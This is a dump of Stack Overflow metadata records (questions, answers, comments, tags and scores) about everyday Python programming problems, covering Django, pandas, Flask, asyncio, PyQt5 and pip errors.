has body: When I try to install any package via pip on MacOS Sierra, I encounter the following error: File "/usr/local/bin/pip", line 7, in &lt;module&gt; from pip import main File "/Library/Python/2.7/site-packages/pip/__init__.py", line 26, in &lt;module&gt; from pip.utils import get_installed_distributions, get_prog File "/Library/Python/2.7/site-packages/pip/utils/__init__.py", line 27, in &lt;module&gt; from pip._vendor import pkg_resources File "/Library/Python/2.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3018, in &lt;module&gt; @_call_aside File "/Library/Python/2.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3004, in _call_aside f(*args, **kwargs) File "/Library/Python/2.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 3046, in _initialize_master_working_set dist.activate(replace=False) File "/Library/Python/2.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2578, in activate declare_namespace(pkg) File "/Library/Python/2.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2152, in declare_namespace _handle_ns(packageName, path_item) File "/Library/Python/2.7/site-packages/pip/_vendor/pkg_resources/__init__.py", line 2091, in _handle_ns loader.load_module(packageName) File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/pkgutil.py", line 246, in load_module mod = imp.load_module(fullname, self.file, self.filename, self.etc) File "/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC/PyObjCTools/__init__.py", line 1, in &lt;module&gt; __import__('pkg_resources').declare_namespace(__name__) File "/Users/jiaseny/Library/Python/2.7/lib/python/site-packages/pkg_resources/__init__.py", line 72, in &lt;module&gt; from . import py31compat ImportError: cannot import name py31compat Trying sudo pip install pkg_resources, sudo pip install setuptools as suggested in ImportError: No module named py31compat resulted in the same error. Perhaps I should try uninstalli…
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49868783
accepted answer: http://stackoverflow.com/a/47725796
tagged with: python

http://stackoverflow.com/comment/81636338
type: Comment
type: QuestionComment
has text: You can call `.grid_size()` on the container to determine the next available column/row numbers; use that row for the row you're adding.
comment on: http://stackoverflow.com/q/47341869
score: 1

http://stackoverflow.com/q/47337850
type: Question
has title: Forward and Reverse Field Relationships in Django
tagged with: foreign-keys
tagged with: many-to-many
type: UnansweredQuestion
tagged with: django
tagged with: python
has body: The context is: I have a Match model where I want to store data for a football match. There are some fields are going to be common to all matches (not the value I mean the field name), such as season, local_team, away_team... But the stats of the match are going to differ (one match can have 2 goals and another one 0). My approach to building a common abstract (Django model) of Match is creating the class Stats (to store the actions) and the Class Action. So: Action will have fields --> minute, player, action(goal, red card...) Stats will have fields --> actions (Many to many field to store several actions) Match will have fields --> local, away, ref, stadium, stats (so all matches have 1 common field which is stats). The big question comes now, when I would like to give a proper name to actions and stats. Because a lot of actions and stats from different matches are going to be stored together, when de MatchAdminForm ask me for the stats of the game I want to know quickly which one corresponds, same when the StatsAdminForm ask me for the actions. The ideal for stats would be to catch the name of the local_team of the match which this stats belongs to. How can I access to that name if Match has not been created yet?? (Same parallelism with actions and stats) Here I share my models.py so you can check. from django.db import models from django.utils import timezone from globalModels.models import Season from seasonalModels.models import SeasonTeam as Team from seasonalModels.models import SeasonPlayer as Player from seasonalModels.models import SeasonReferee as Referee from seasonalModels.models import SeasonStadium as Stadium class Action(models.Model): ACTION_CHOICES = ( ('Gol', 'Gol'), ('Yellow', 'Yellow Card'), ('2Yellow', 'Second Yellow Card'), ('Red', 'Red Card'), ) # minute = models.IntegerField(choices = (range(1,90))) name = models.CharField(max_length=255, default='abc') minute = models.IntegerField(default=0) player = models.ForeignKey(Player, on_delete=mod…
score: 0
tagged with: relationship
answer count: 1
has answer: http://stackoverflow.com/a/47338418

http://stackoverflow.com/a/47248635
has comment: http://stackoverflow.com/comment/81447481
has comment: http://stackoverflow.com/comment/81447503
score: 2
type: AcceptedAnswer
downvote count: 0
has body: You need to follow these steps, in order, to create a new virtualenv with both tensorflow and jupyter installed: #!/bin/bash virtualenv -ppython3 my_env source my_env/bin/activate pip install tensorflow jupyter jupyter notebook Create a new Python3 notebook in the web GUI and run: import tensorflow That works.
answers question: http://stackoverflow.com/q/47246711
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/47246711

http://stackoverflow.com/q/47238752
tagged with: scipy
accepted answer: http://stackoverflow.com/a/47238811
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81429172
tagged with: function
downvote count: 0
upvote count: 1
tagged with: python
tagged with: ode
has answer: http://stackoverflow.com/a/47238811
has title: Scipy, odeint and setting of input into odeint input function
type: AnsweredQuestion
has body: I am integrating biochemical ODEs via odeint (see pic below), however the main input function seems to be re-setting (or replacing) the input parameters with strange numbers when called. Despite the fact that the parameters 'iu' (rate of induction of v, should stay constant over whole process) and 'v' (one of results, should change throughout odeint) are set to 100 and 0 respectively, if printed throughout the function, the output seems to be: '0.000999900009999 100 0 0 10 9 2 2 3' while it should look more like this: '0 0 0 100 10 9 2 2 3' I am unsure about whether the error is in my initial function, or in my implementation of odeint: first time doing this kind of things, however I find it strange that the switch_a function just ignores the preset inputs: any ideas on how to resolve this/what could have gone wrong? I already attempted to seed the function manually from the inside, however as at least one of the inputs (v) should be changing during the course of odeint, this will not do. initial = np.array([0,0])#sets initial #parameters iv = 0 iu= 100 u = 0 v = 0 au = 10 av = 9 b=2 n=2 k=3 def switch_a(initial, timepool, u, v, iv, iu , au , av ,b , n , k ): zu = (1+iv/k)**n #to simplify equation zv = (1+ iu/k)**n u = -u + (au/(1+((v/zu)**b))) print (u, v, iv, iu, au, av, b, n, k) v = -v + (av/(1+((u/zv)**b))) res = np.array([u, v]) return res args = (iv, iu, u, v, au, av, b, n, k) timepool = np.linspace (1, 50, 50) solution1a = sp.odeint (switch_a, initial, timepool,args)
score: 1
answer count: 1

http://stackoverflow.com/q/47325204
tagged with: python
upvote count: 6
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/9574793
answer count: 3
tagged with: pandas
has comment: http://stackoverflow.com/comment/81633878
has answer: http://stackoverflow.com/a/47357760
tagged with: xlsxwriter
has answer: http://stackoverflow.com/a/47341807
downvote count: 0
has answer: http://stackoverflow.com/a/78995545
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47357760
score: 6
has body: Dates wind up in the bottom right corner of a cell, apparently ignoring alignment settings from xlsxwriter. A MWE: import pandas df = pandas.DataFrame( { "ints": [1, 2, 3] , 'primes': [2, 3, 5] , 'odds': [1, 3, 5] , 'fechas': ['2017-04-07', '2017-05-09', '2017-11-30'] } ) df['fechas'] = pandas.to_datetime(df['fechas']).dt.date print(df) xlsx_writer = pandas.ExcelWriter( 'test.xlsx' , engine='xlsxwriter' , date_format='mm/dd/yyyy' ) df.to_excel(xlsx_writer, sheet_name='Sheet1', index=False) wb = xlsx_writer.book ws = xlsx_writer.sheets['Sheet1'] dollar_format = '_($* #,##0.00" "_);_($* (#,##0.0);_($* "-"??_);_(@_)' dollar_format_wb = wb.add_format({'num_format': dollar_format, 'valign': 'vcenter'}) centre_format_wb = wb.add_format({'align': 'center', 'valign': 'vcenter'}) ws.set_column('A:A', 25, centre_format_wb) ws.set_column('B:B', 20, centre_format_wb) ws.set_column('C:C', 15, centre_format_wb) ws.set_column('D:D', 10, dollar_format_wb) # The code below was included to generate the screenshot, but isn't # strictly necessary for the MWE shadedrow_format_wb = wb.add_format( { 'bg_color': '#EEEEEE' , 'left': 1 , 'left_color': '#FFFFFF' } ) for r in range(0, 2 + df.shape[0]): ws.set_row(r + 1, 45) print(r) if r % 2 == 0: # a kludge as we can't change cell range formats after the fact without re-entering cell contents ws.conditional_format('A{:}:D{:}'.format(r, r), {'type': 'no_errors', 'format': shadedrow_format_wb}) print("\t", r) xlsx_writer.save() Columns A, B, and C should be centered horizontally, and all rows except the header should be height 45, with all cell contents centered vertically. Everything works like it should, except for the date column. Is there a good reason that this shouldn't work? Is there a correct way of getting the date centred? Is it a bug? Is there a work-around? I have also tried formatting the sheet first, and performing the df.to_excel() last, with no effect. Many thanks!
has title: python xlsxwriter won't align dates
possible better answer: http://stackoverflow.com/a/47341807

http://stackoverflow.com/q/47227425
upvote count: 4
type: Question
has answer: http://stackoverflow.com/a/47227698
accepted answer: http://stackoverflow.com/a/47227698
downvote count: 0
has title: can't return json pagination in flask for REST API
has body: I'm working with Miguel Grinberg's Flask REST API repo, and I'm failing to return JSON paginated results. The examples online use html templates, but I just want to return a number of results (20), and eventually return links for the previous and next pages. When I return the code immediately following this sentence, I get "pagination object is not iterable": def get_customers(): return jsonify({'customers': [customer.get_url() for customer in Customer.query.paginate(page=1, per_page=1)]}) I understand I'm passing the wrong object, but I'm not sure if I should use another module, or if I'm on the right path. Does anyone have a suggestion to reach my end goal? The original code in Miguel's repo is: @app.route('/customers/', methods=['GET']) def get_customers(): return jsonify({'customers': [customer.get_url() for customer in Customer.query.all()]}) The whole file is here: https://github.com/miguelgrinberg/oreilly-flask-apis-video/blob/a460ad9df2e58c13b90f183e81b4e8953eb186cb/orders/api.py The relevant code I'm working with: class Customer(db.Model): __tablename__ = 'customers' id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(64), index=True) def get_url(self): return url_for('get_customer', id=self.id, _external=True) def export_data(self): return { 'self_url': self.get_url(), 'name': self.name } def import_data(self, data): try: self.name = data['name'] except KeyError as e: raise ValidationError('Invalid customer: missing ' + e.args[0]) return self @app.route('/customers/', methods=['GET']) def get_customers(): return jsonify({'customers': [customer.get_url() for customer in Customer.query.paginate(page=1, per_page=1)]}) @app.route('/customers/&lt;int:id&gt;', methods=['GET']) def get_customer(id): return jsonify(Customer.query.get_or_404(id).export_data())
answer count: 1
score: 4
tagged with: flask
favorite count: 0
type: AnsweredQuestion
tagged with: rest
tagged with: http://stackoverflow.com/tag/json
tagged with: pagination
tagged with: python

http://stackoverflow.com/q/47352849
type: Question
accepted answer: http://stackoverflow.com/a/47353019
has comment: http://stackoverflow.com/comment/81657893
tagged with: python
has body: I had to recently map many categories in one data frame column into a few higher subcategories. I was wondering if there is a more concise way to achieve this as the one below. df_to_map = pd.DataFrame({"cities": [ 'Thessaloniki', 'Geel', 'Bern', 'Dublin', 'Hanover' , 'Gurabo','Buenos Aires','Manati' ,'Panama', 'Lima', 'Washington', 'Huston', 'Kairo']}) Aggregate_cities={ 'Thessaloniki':'Europe', 'Geel':'Europe', 'Bern':'Europe', 'Dublin':'Europe', 'Hanover':'Europe', 'Gurabo':'Latin America','Manati' :'Latin America', 'Panama':'Latin America', 'Lima': 'Latin America' ,'Buenos Aires': 'Latin America', 'Washington':'North America', 'Huston':'North America', 'Boston': 'North America' } df_to_map['continent']= df_to_map.cities.map(Aggregate_cities)
has title: Convert many values of a categorical column python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81657808
score: 0
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/47353019

http://stackoverflow.com/comment/81554190
type: Comment
type: QuestionComment
score: 0
has text: I've included in link above
comment on: http://stackoverflow.com/q/47301484

http://stackoverflow.com/comment/81634244
type: Comment
has text: hi thank you all for your responses , i very much appreciate your help . the problem is solved . thank you again
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47298070

http://stackoverflow.com/comment/81565001
has text: Use [`pickle.dumps`](https://docs.python.org/3.5/library/pickle.html#pickle.dumps)?
comment on: http://stackoverflow.com/q/47307107
type: Comment
type: QuestionComment
score: 5

http://stackoverflow.com/a/47249688
downvote count: 0
score: 5
has comment: http://stackoverflow.com/comment/139418414
upvote count: 5
type: Answer
has body: Yes, there are a few faster ways to make Langford sequences. Firstly, here's a fairly simple way. Rather than testing all of the permutations containing the pairs of numbers from 1 to n, we generate the permutations of numbers from 1 to n and then try to build Langford sequences from those permutations by placing each pair of numbers into the next available pair of slots. If no pair of slots is available we abandon that permutation and go onto the next one. Building a sequence is a little slower than simply testing if a full permutation of 2n items is valid, but it means we need to test a lot fewer permutations when n is large. Eg, if n=7 there are 7! = 5040 permutations, but if we test the permutations of 7 pairs, that's 14! = 87178291200 permutations! We can reduce that number though, because it contains a lot of duplicates. For 7 pairs, the number of unique permutations is 14! / (2**7) = 681080400 since swapping the 2 items in any of the 7 pairs produces a duplicate permutation. Unfortunately, itertools.permutations doesn't care about duplicates, but my answer here has code for a permutation generator that doesn't produce duplicate permutations. But still, 681 million permutations is a large number, and it takes a long time to test them. So it's better if we can avoid doing that. import sys from itertools import permutations def place(t): slen = 2 * len(t) seq = [0] * slen for u in t: # Find next vacant slot for i, v in enumerate(seq): if v == 0: break else: # No vacant slots return j = i + u + 1 if j &gt;= slen or seq[j]: return seq[i] = seq[j] = u return tuple(seq) def langford(n): count = 0 for t in permutations(range(1, n+1)): seq = place(t) #if seq and seq &lt; seq[::-1]: if seq: count += 1 print(seq, count) return count // 2 def main(): n = int(sys.argv[1]) if len(sys.argv) &gt; 1 else 4 count = langford(n) print(count) if __name__ == '__main__': main() output for n=7 (1, 4, 1, 5, 6, 7, 4, 2, 3, 5, 2, 6, 3, 7) 1 (1, 4, 1, 6, 7, 3, 4, 5, 2, 3, 6, 2, 7, 5) 2 …
answers question: http://stackoverflow.com/q/47246867

http://stackoverflow.com/q/47290782
tagged with: kml
tagged with: flask
tagged with: google-earth
has body: I am trying to show a object moving in google earth in realtime. I have found several webpages that convince me this is somewhat do-able. I am running into some issue though. I have gotten a network link to a kml file that I update with new lat/lon periodically but since one program is writing to that file (my python code) and another needs to read from it (google earth) there is bottleneck and it causes nasty lag. I have also seen that you can use a python script as the network link file, given it is on a server. Which I assume means each time google earth refreshes it calls that python script which returns a kml string. I implemented that theory using flask but I am not getting any results. Does anyone know what I am doing wrong? Code below: My network link kml: <?xml version="1.0" encoding="UTF-8"?> Network Links 0 0 Network link example 1 Aircraft 1 0 0 Test description 0 0 <Link> 127.0.0.1:5000/aircraft.kml onInterval 0.05 Flask App: from flask import Flask, request, send_from_directory from GoogleEarthDraw import kml_updater # set the project root directory as the static folder, you can set others. app = Flask(__name__, static_url_path='') @app.route('/aircraft.kml') def send_py_app(): print("Returning py file") return kml_updater.to_print_output() if __name__ == "__main__": app.run() Python KML producer (kml_updater.py): def get_kml_text(latitude, longitude, altitude): return \ '''<?xml version="1.0" encoding="UTF-8"?> Aircraft 1 Show flight of aircraft 1 {},{},{} '''.format(longitude, latitude, altitude) def to_print_output(): # Create the lat/lon/alt lat = 41.98583333 lon = -91.57055556 alt = 0 return get_kml_text(lat, lon, alt)
answer count: 0
downvote count: 0
tagged with: real-time
score: 1
upvote count: 1
favorite count: 0
type: Question
has title: GoogleEarth realtime update with python
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81582945
type: AnswerComment
has text: Where do i put this chunk? Could you please post the whole code with the chunk added in?
type: Comment
comment on: http://stackoverflow.com/a/47315911
score: 0

http://stackoverflow.com/comment/81614338
type: Comment
type: QuestionComment
has text: no it doesn't print. that's why i thought its not checking if loops.
score: 0
comment on: http://stackoverflow.com/q/47327647

http://stackoverflow.com/comment/109242641
comment on: http://stackoverflow.com/q/47381845
type: QuestionComment
score: 0
has text: I have been trying to do exactly the same thing but be able to sample from any of the 125 groups fashion that you mentioned in the end. My files are not uniform in size either. Have you figured out a potential solution yet?
type: Comment

http://stackoverflow.com/comment/81448525
type: Comment
has text: Python will not throw an error that includes the phrase "it comes from ...". Can you please post the _exact_ error message, including the traceback?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47247865

http://stackoverflow.com/comment/81456312
score: 0
type: Comment
has text: if you don't want it 'squeeze' will remove it, otherwise the explanations below are reasonable
type: QuestionComment
comment on: http://stackoverflow.com/q/47249271

http://stackoverflow.com/comment/81472821
type: QuestionComment
has text: Do I have to declare them before I call the run function and hand it into the run method? Or could it be used like a global variable?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47260597

http://stackoverflow.com/q/47355067
upvote count: 1
has answer: http://stackoverflow.com/a/47355682
type: UnansweredQuestion
tagged with: multithreading
has title: python threads hangs but no exception
favorite count: 0
has body: I'm using threads with queue, the loop contains like 6000 items but it suddenly hangs in 5000 or more and never continue although no thread through any exception code is as below def extract_data(): while True: empty_flag = False try: id = q2.get(timeout = 60) except Empty: empty_flag = True if not empty_flag: "do some processing here" q2.task_done() threads_number = 5 q2 = Queue(threads_number * 2) for i in range(threads_number): t = Thread(target=extract_data) t.daemon = True t.start() try: for i,nbd in enumerate(lst[0:],0): --&gt; list contains 6000 itemts print "%d of %d\r" %(i+1,len(new_nbds)), --&gt; print hangs here in item (5898 of 6000) or hangs when finish and never end (6000 of 6000) sys.stdout.flush() q2.put(nbd) q2.join() except KeyboardInterrupt: sys.exit(1)
downvote count: 0
score: 1
has answer: http://stackoverflow.com/a/47370537
tagged with: python
tagged with: freeze
has comment: http://stackoverflow.com/comment/81663834
tagged with: queue
type: Question
answer count: 2

http://stackoverflow.com/comment/81709465
comment on: http://stackoverflow.com/a/47375056
type: Comment
type: AnswerComment
has text: @PatrickArtner, there was another code block in the question before the edit , and the answer was written wrt that code.
score: 0

http://stackoverflow.com/comment/81712721
type: QuestionComment
score: 0
has text: It can't find the element 'wikitable sortable jquery-tablesorter'.
comment on: http://stackoverflow.com/q/47380110
type: Comment

http://stackoverflow.com/a/47296482
accepted answer of: http://stackoverflow.com/q/47295740
has body: To pass the button instance to the command, you must do it in two steps. First, create the button, and then in a second step you configure the command. Also, you must use a lambda to create what's called a closure. For example: obj=Button(root,relief=FLAT,width=2) obj.configure(command=lambda button=obj: p(button))
answers question: http://stackoverflow.com/q/47295740
score: 10
type: Answer
upvote count: 10
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/47368984
favorite count: 0
type: Question
has body: The following example defines a coroutine multiply, which waits for a value, multiplies it by a constant factor, and prints the result. Another function, product_table, uses multiply to produce product tables. def multiply(factor): print(f"product table for {factor}") while True: sent_value = yield result = factor * sent_value print(f"{factor} x {sent_value} = {result}") def product_table(coro): coro.send(None) # start coroutine for value in range(1, 11): coro.send(value) product_table(multiply(3)) running the example produces: product table for 3 3 x 1 = 3 3 x 2 = 6 3 x 3 = 9 3 x 4 = 12 3 x 5 = 15 3 x 6 = 18 3 x 7 = 21 3 x 8 = 24 3 x 9 = 27 3 x 10 = 30 I am trying to implement the exact same example in terms of async def and await, but I'm getting nowhere. My original, incorrect expectation was that the following coroutine function using await was equivalent to the coroutine relying on yield: async def multiply(factor): print(f"product table for {factor}") while True: await sent_value result = factor * sent_value print(f"{factor} x {sent_value} = {result}") It may sound stupid that I expected this to work, but to my dull brain it reads "wait for the sent value". This is not the case -- I get NameError: name 'sent_value' is not defined. So far, my limited understanding is that you can define coroutine functions in terms of yield (as in the first, working example), or in terms of async def and await, as I attempted in the second example. This does not seem to be the case. My concrete questions are: How would you implement the first example in terms of async def? Does it even make sense to implement in terms of async def? I hate that all the freaking examples I've found are in terms of fake pipelines that use time.sleep(0.1) everywhere. I'm trying to make a blog post with examples that use more concrete (if also trivial) pipelines. [removed erroneous edit]
linked to: http://stackoverflow.com/q/33357233
tagged with: python-asyncio
has answer: http://stackoverflow.com/a/47369050
has comment: http://stackoverflow.com/comment/81691143
tagged with: async-await
tagged with: python
has comment: http://stackoverflow.com/comment/81690919
has comment: http://stackoverflow.com/comment/81691167
tagged with: coroutine
has answer: http://stackoverflow.com/a/47385398
score: 2
upvote count: 2
has title: Implement coroutine in terms of async def
answer count: 3
downvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81690482
has comment: http://stackoverflow.com/comment/81690955
has answer: http://stackoverflow.com/a/47385658

http://stackoverflow.com/a/50693795
has comment: http://stackoverflow.com/comment/139317852
has comment: http://stackoverflow.com/comment/97282880
has body: The original solution was posted below by Blackwood, the author of this thread, all credit is theirs alone Thanks for this. I was looking exactly for this and happened upon this thread. The application I was looking for uses PyQt5, which, although similar, has enough differences to break the code posted above. I edited the code to make it work for PyQt5. It works, but is not properly bug tested from PyQt5 import QtGui, QtCore,QtWidgets from PyQt5.QtCore import pyqtSignal, pyqtSlot ## # The DetachableTabWidget adds additional functionality to Qt's QTabWidget that allows it # to detach and re-attach tabs. # # Additional Features: # Detach tabs by # dragging the tabs away from the tab bar # double clicking the tab # Re-attach tabs by # dragging the detached tab's window into the tab bar # closing the detached tab's window # Remove tab (attached or detached) by name # # Modified Features: # Re-ordering (moving) tabs by dragging was re-implemented # # Original by Stack Overflow user: Blackwood, 13/11/2017 # # Adapted for PyQt5 # class DetachableTabWidget(QtWidgets.QTabWidget): def __init__(self, parent=None): super().__init__() self.tabBar = self.TabBar(self) self.tabBar.onDetachTabSignal.connect(self.detachTab) self.tabBar.onMoveTabSignal.connect(self.moveTab) self.tabBar.detachedTabDropSignal.connect(self.detachedTabDrop) self.setTabBar(self.tabBar) # Used to keep a reference to detached tabs since their QMainWindow # does not have a parent self.detachedTabs = {} # Close all detached tabs if the application is closed explicitly QtWidgets.qApp.aboutToQuit.connect(self.closeDetachedTabs) # @UndefinedVariable ## # The default movable functionality of QTabWidget must remain disabled # so as not to conflict with the added features def setMovable(self, movable): pass ## # Move a tab from one position (index) to another # # @param fromIndex the original index location of the tab # @param toIndex the new index location of the tab @pyqtSlot(int, int) def moveTab(self, fromIndex…
score: 7
upvote count: 7
answers question: http://stackoverflow.com/q/47267195
has comment: http://stackoverflow.com/comment/97595355
downvote count: 0
type: Answer

http://stackoverflow.com/comment/81526200
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47287188
type: Comment
has text: now i understand that i was working with RGB but now i don't know the color range for clouds. i have searched a lot but couldn't find the hsv values to detect clouds.

http://stackoverflow.com/q/47331662
type: Question
tagged with: time-series
type: UnansweredQuestion
tagged with: python
score: -1
has body: I have a time series (array of values) and I would like to find the starting points where a long drop in values begins (at least X consecutive values going down). For example: Having a list of values [1,2,3,4,3,4,5,4,3,4,5,4,3,2,1,2,3,2,3,4,3,4,5,6,7,8] I would like to find a drop of at least 5 consecutive values. So in this case I would find the segment 5,4,3,2,1. However, in a real scenario, there is noise in the data, so the actual drop includes a lot of little ups and downs. I could write an algorithm for this. But I was wondering whether there is an existing library or standard signal processing method for this type of analysis.
has title: Any existing methods to find a drop in a noisy time series?
has answer: http://stackoverflow.com/a/47331851
upvote count: 0
answer count: 1
downvote count: 1
tagged with: signal-processing
favorite count: 0

http://stackoverflow.com/q/47248183
has comment: http://stackoverflow.com/comment/81446795
type: Question
has answer: http://stackoverflow.com/a/47248335
has title: How could I convert this formatted string into a key, value dictionary form?
has answer: http://stackoverflow.com/a/47248255
answer count: 5
has comment: http://stackoverflow.com/comment/81446558
has comment: http://stackoverflow.com/comment/81547295
has body: I am not pretty sure how to convert a formatted string into a dictionary, what I was thinking was to separate my string into two lists and then join them into a dictionary but I am convinced that there must be a way to convert it from string to dictionary directly. This is what I get so far: string: 'Me_of_temp_max: 13.91 Me_of_temp_min: 11.33 Me_of_p_max: 14.25 Me_of_p_min: 14.53' What I am looking fro is this: {'Me_of_temp_max': 13.91, 'Me_of_temp_min': 11.33, 'Me_of_p_max': 14.25, 'Me_of_p_min': 14.53} But What I did to reach this was: items = {} result = ['Me_of_temp_max', 'Me_of_temp_min', 'Me_of_p_ma', 'Me_of_p_min'] result1 = [13.91, 11.33, 14.25, 14.53] for i in range(len(result)): items[result[i]] = result1[i] return items
tagged with: python
tagged with: dictionary
has answer: http://stackoverflow.com/a/47248343
has comment: http://stackoverflow.com/comment/81446552
type: AnsweredQuestion
score: 3
has comment: http://stackoverflow.com/comment/81446523
possible better answer: http://stackoverflow.com/a/47248367
upvote count: 3
downvote count: 0
has comment: http://stackoverflow.com/comment/81446490
has answer: http://stackoverflow.com/a/47248367
has comment: http://stackoverflow.com/comment/81446621
tagged with: string
has comment: http://stackoverflow.com/comment/81446889
has answer: http://stackoverflow.com/a/47248230
accepted answer: http://stackoverflow.com/a/47248255
favorite count: 0

http://stackoverflow.com/comment/81422522
comment on: http://stackoverflow.com/q/47232012
type: QuestionComment
score: 0
has text: Check out [FTS](http://www.sqlite.org/fts3.html). But a relational database works best with [relational data](https://en.wikipedia.org/wiki/Relational_model).
type: Comment

http://stackoverflow.com/comment/81808959
type: Comment
comment on: http://stackoverflow.com/a/47245353
type: AnswerComment
has text: Python does have arrays. It stores the array as an object. I have asked the question how to use it using python array, not numpy one.
score: 1

http://stackoverflow.com/a/47362312
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47362180
has body: I guess there are simple way: your_json['A'] =[i for i in your_json['A'] if not i.update({"File":"D.kmp"})]

http://stackoverflow.com/comment/81694530
type: Comment
has text: @Thib. One potential issue on windows is the unofficial [pyq5-tools package](https://pypi.python.org/pypi/pyqt5-tools), which is required for python >= 3.5. In the past, there have been some problems with the `pyqt5.dll` designer plugin it installs. This plugin is needed for loading custom widgets written using python/pyqt5. I only tested using python-3.4 and pyqt-5.5.1 on windows, so that potential problem wouldn't affect me.
type: AnswerComment
comment on: http://stackoverflow.com/a/47367521
score: 0

http://stackoverflow.com/a/47262288
has body: If "globally" means for all successive outputs in a given notebook, I use plt.rcParams['figure.figsize'] = (16,8) after importing matplotlib. This affect all subsequent plots. If you wish a single configuration for all notebooks, the reply by Louise Davies is more appropriate.
type: Answer
answers question: http://stackoverflow.com/q/47252508
downvote count: 1
has comment: http://stackoverflow.com/comment/93959148
score: 8
upvote count: 9
has comment: http://stackoverflow.com/comment/93955204

http://stackoverflow.com/comment/81596898
type: Comment
type: QuestionComment
score: 0
has text: How would an algorithm know "DINNER"?
comment on: http://stackoverflow.com/q/47296161

http://stackoverflow.com/comment/81498936
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47273602
has text: Does this help you: https://github.com/influxdata/influxdb/issues/3600 ? Not a direct answer, but something similar.

http://stackoverflow.com/comment/81625712
type: Comment
has text: @Topto If you feel that answer could help you or anyone in the future. Please validate and upvote it. If you don't please say in what way it is not satisfying, so that it can be improved.
comment on: http://stackoverflow.com/a/47336584
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81646545
has text: https://ufile.io/tefcg is data I am using. df = pd.DataFrame({'b' : [2, 2, 11], 'c' : [11, 20, 30]}) df['b-c'] = df['b'] - df['c'] result = df['B'] - df['A'] is giving me a large error message. I can append exact error message if you like but yes its not working.
comment on: http://stackoverflow.com/q/47346051
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47366477
answer count: 1
tagged with: pycryptodome
has answer: http://stackoverflow.com/a/47391128
favorite count: 0
type: Question
has title: Pycryptodome can't decrypt data
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47391128
type: AnsweredQuestion
has body: Why cipher3 can't decrypt cipher data? cipher2 and cipher3 use same nonce, but cipher3 can't decrypt data Code: &gt;&gt;&gt; from Crypto.Cipher import AES &gt;&gt;&gt; cipher = AES.new(b"M"*16, AES.MODE_EAX) &gt;&gt;&gt; cipher2 = AES.new(b"M"*16, AES.MODE_EAX, cipher.nonce) &gt;&gt;&gt; cipher3 = AES.new(b"M"*16, AES.MODE_EAX, cipher.nonce) &gt;&gt;&gt; data = cipher.encrypt(b"Hello") &gt;&gt;&gt; data2 = cipher.encrypt(b"World") &gt;&gt;&gt; cipher2.decrypt(data) b'Hello' &gt;&gt;&gt; cipher3.decrypt(data2) b'S\xa5\x92\xa2\x9a' &gt;&gt;&gt; cipher2.decrypt(data2) b'World'
score: 1
downvote count: 0

http://stackoverflow.com/a/47371707
answers question: http://stackoverflow.com/q/47371672
has comment: http://stackoverflow.com/comment/81697616
has comment: http://stackoverflow.com/comment/81696764
has comment: http://stackoverflow.com/comment/81696824
has comment: http://stackoverflow.com/comment/81696170
has comment: http://stackoverflow.com/comment/81696876
accepted answer of: http://stackoverflow.com/q/47371672
upvote count: 2
has comment: http://stackoverflow.com/comment/81697587
has comment: http://stackoverflow.com/comment/81697881
type: Answer
has comment: http://stackoverflow.com/comment/81697298
has comment: http://stackoverflow.com/comment/81696706
has body: You want to filter dictionaries contained in cleaned_list which respect either the two wert-like conditions (AND) or at least one of them (OR). What you can do is import operator as op ineq_1 = 'gt' ineq_2 = 'lt' select = 2 andor = { 1:lambda L: filter( lambda d: getattr(op,ineq_1)(float(d[val1]), wert1) and getattr(op,ineq_2)(float(d[val2]), wert2), L ), 2:lambda L: filter( lambda d: getattr(op,ineq_1)(float(d[val1]), wert1) or getattr(op,ineq_2)(float(d[val2]), wert2), L ), } mapped_list = andor[select](cleaned_list) for x in mapped_list: print(dict(x)) The possible choices are gt (greater than), lt (lower than), or eq. Note that you can even make things a little bit more "dynamic" by as well using the method and_ and or_ of the python-builtin module operator. For example, doing #Where the two following ix2-like stuffs are defined to make # a correspondence between names one knows, and methods of the # module operator. ix2conj = { 1:'and_', 2:'or_', } ix2ineq = { '&lt;' :'lt', '==':'eq', '&gt;' :'gt', } def my_filter(conjunction, inequality1, inequality2, my_cleaned_list): return filter( lambda d: getattr(op, ix2conj[conjunction])( getattr(op, ix2ineq[inequality1])(float(d[val1]), wert1), getattr(op, ix2ineq[inequality2])(float(d[val2]), wert2) ), my_cleaned_list ) ineq_1 = '&gt;' ineq_2 = '&lt;' select = 2 print(my_filter(select, ineq_1, ineq_2, cleaned_list))
has comment: http://stackoverflow.com/comment/81697525
has comment: http://stackoverflow.com/comment/81697124
score: 2
has comment: http://stackoverflow.com/comment/81697885
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81696720

http://stackoverflow.com/q/47257160
score: 0
